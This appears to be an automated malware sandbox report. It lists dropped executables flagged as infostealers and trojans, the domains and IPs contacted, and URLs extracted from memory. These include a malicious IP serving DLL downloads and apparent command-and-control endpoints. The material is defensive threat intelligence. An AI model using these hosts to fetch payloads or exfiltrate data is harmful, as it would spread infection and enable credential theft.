C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	26%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	26%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Temp\service123.exe	46%	ReversingLabs	Win32.Trojan.Loaderz
C:\Users\user\DocumentsJKEGIDGDGH.exe	55%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
home.fvtekk5pn.top	12%	Virustotal	Browse
services.addons.mozilla.org	0%	Virustotal	Browse
prod.detectportal.prod.cloudops.mozgcp.net	0%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
example.org	93.184.215.14	true	false	0%, Virustotal, Browse
home.fvtekk5pn.top	34.116.198.130	true	true	12%, Virustotal, Browse
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	0%, Virustotal, Browse
services.addons.mozilla.org	151.101.129.91	true	false	0%, Virustotal, Browse
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false
fvtekk5pn.top	34.116.198.130	true	true
contile.services.mozilla.com	34.117.188.166	true	false
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false
ipv4only.arpa	192.0.0.171	true	false
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false
push.services.mozilla.com	34.107.243.93	true	false
www.google.com	142.250.181.100	true	false
normandy-cdn.services.mozilla.com	35.201.103.21	true	false
star-mini.c10r.facebook.com	157.240.195.35	true	false
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false
twitter.com	104.244.42.193	true	false
property-imper.sbs	104.21.33.116	true	true
dyna.wikimedia.org	185.15.58.224	true	false
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false
youtube.com	142.250.181.142	true	false
youtube-ui.l.google.com	172.217.17.78	true	false
reddit.map.fastly.net	151.101.65.140	true	false
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false
js.monitor.azure.com	unknown	unknown	false
www.reddit.com	unknown	unknown	false
spocs.getpocket.com	unknown	unknown	false
mdec.nelreports.net	unknown	unknown	false
content-signature-2.cdn.mozilla.net	unknown	unknown	false
support.mozilla.org	unknown	unknown	false
firefox.settings.services.mozilla.com	unknown	unknown	false
www.youtube.com	unknown	unknown	false
www.facebook.com	unknown	unknown	false
detectportal.firefox.com	unknown	unknown	false
normandy.cdn.mozilla.net	unknown	unknown	false
shavar.services.mozilla.com	unknown	unknown	false
www.wikipedia.org	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	true
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	true

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1902015543.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813480773.00000000058BD000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2814268139.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813813506.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	false
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1902015543.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813480773.00000000058BD000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2814268139.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813813506.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3832.	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 0000001A.00000002.2717022050.000016B00008C000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.microsoft	32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2882349545.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3116402833.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2982719359.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2929836310.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3116908633.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2849330618.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://anglebug.com/4966t	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 0000001A.00000002.2722328633.000016B000770000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/document/J	chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	false
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 0000001A.00000002.2719537811.000016B000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722628262.000016B000820000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4633	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7382	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2148382505.0000000023322000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2128255409.0000000000D05000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2900866586.0000000005871000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/284462263	chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6929S	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7488U	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/8162V	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 0000001A.00000002.2722430333.000016B0007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722328633.000016B00079D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719988579.000016B0004BC000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/8215Y	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
https://crbug.com/368855.)	chrome.exe, 0000001A.00000003.2697561851.000016B000298000.00000004.00000800.00020000.00000000.sdmp	false
http://polymer.github.io/AUTHORS.txt	chrome.exe, 0000001A.00000002.2730243576.000016B000F10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2731242381.000016B000F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2723473297.000016B000983000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B001104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742593364.000016B0010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B0010D0000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/	chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/document/:	chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206Local	file.exe, 00000000.00000002.2127237618.0000000000367000.00000040.00000001.01000000.00000003.sdmp	false
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719593935.000016B000498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2698676882.000016B000EA8000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7714	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/speech-api/v2/synthesize?	chrome.exe, 0000001A.00000003.2697561851.000016B000298000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7489=	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/8229-	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
http://unisolated.invalid/	chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/chrome/tips/	chrome.exe, 0000001A.00000002.2723403749.000016B000948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722477479.000016B0007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 0000000D.00000002.2482340700.0000000005643000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2520415882.0000000006123000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2563365666.0000000005703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2603059212.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2664145528.0000000005FD3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2731538055.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp	false
https://drive.google.com/?lfhs=2	chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6248	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6929	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7320)	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5281	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000D.00000002.2472205985.00000000045E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2509578909.00000000050C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2551301768.00000000046A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2591382936.0000000004E51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2644278939.0000000004F71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2710510603.0000000004F51000.00000004.00000800.00020000.00000000.sdmp	false
https://www.youtube.com/?feature=ytca	chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/60489	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2148382505.0000000023322000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2128255409.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	false
https://issuetracker.google.com/255411748	chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 0000001A.00000002.2722430333.000016B0007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722328633.000016B00079D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2719988579.000016B0004BC000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7246	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
https://property-imper.sbs:443/api	32eab1d1d8.exe, 0000001C.00000003.3116908633.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	false
https://anglebug.com/7369	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7406f	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7489	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4551B	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/?q=	chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2723473297.000016B000968000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	false
https://chrome.google.com/webstore	chrome.exe, 0000001A.00000003.2696137662.000016B000C94000.00000004.00000800.00020000.00000000.sdmp	false
https://drive-daily-2.corp.google.com/	chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	false
http://polymer.github.io/PATENTS.txt	chrome.exe, 0000001A.00000002.2730243576.000016B000F10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2731242381.000016B000F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2723473297.000016B000983000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B001104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742593364.000016B0010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B0010D0000.00000004.00000800.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 00000018.00000002.2731538055.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp	false
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp	false
https://chrome.google.com/webstore?hl=en1	chrome.exe, 0000001A.00000002.2722477479.000016B0007D4000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1902015543.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813480773.00000000058BD000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2814268139.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813813506.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2148382505.0000000023322000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2128255409.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7308P	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/161903006	chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	false
https://ace-snapper-privately.ngrok-free.app/test/testFailed	5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1902015543.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813480773.00000000058BD000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2814268139.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813813506.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	false
https://drive-daily-1.corp.google.com/	chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	false
https://drive-daily-5.corp.google.com/	chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.ico	chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 0000001A.00000002.2722328633.000016B000770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2720145095.000016B0004F8000.00000004.00000800.00020000.00000000.sdmp	false
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 0000001A.00000002.2719537811.000016B000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2722628262.000016B000820000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3078	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7553	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5375	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5371	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4722	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5881O	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	false
https://m.google.com/devicemanagement/data/api	chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	false
https://property-imper.sbs/#Q	32eab1d1d8.exe, 0000001C.00000003.3013769659.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2982719359.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3116908633.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2929836310.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 0000001A.00000002.2722328633.000016B000770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2720145095.000016B0004F8000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000D.00000002.2472205985.0000000004736000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2509578909.0000000005216000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2551301768.00000000047F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2591382936.0000000004FA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2644278939.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7556	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
https://chromewebstore.google.com/	chrome.exe, 0000001A.00000002.2717877726.000016B00017C000.00000004.00000800.00020000.00000000.sdmp	false
https://drive-preprod.corp.google.com/	chrome.exe, 0000001A.00000003.2689885332.000016B000494000.00000004.00000800.00020000.00000000.sdmp	false
https://clients4.google.com/chrome-sync	chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	false
http://html4/loose.dtd	5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp	false
http://unisolated.invalid/a	chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6692	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/258207403	chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	false
https://property-imper.sbs/apie	32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3116402833.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	false
http://anglebug.com/3502	chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3623	chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3625	chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	false
https://property-imper.sbs/apik	32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000F77000.00000004.00000020.00020000.00000000.sdmp	false
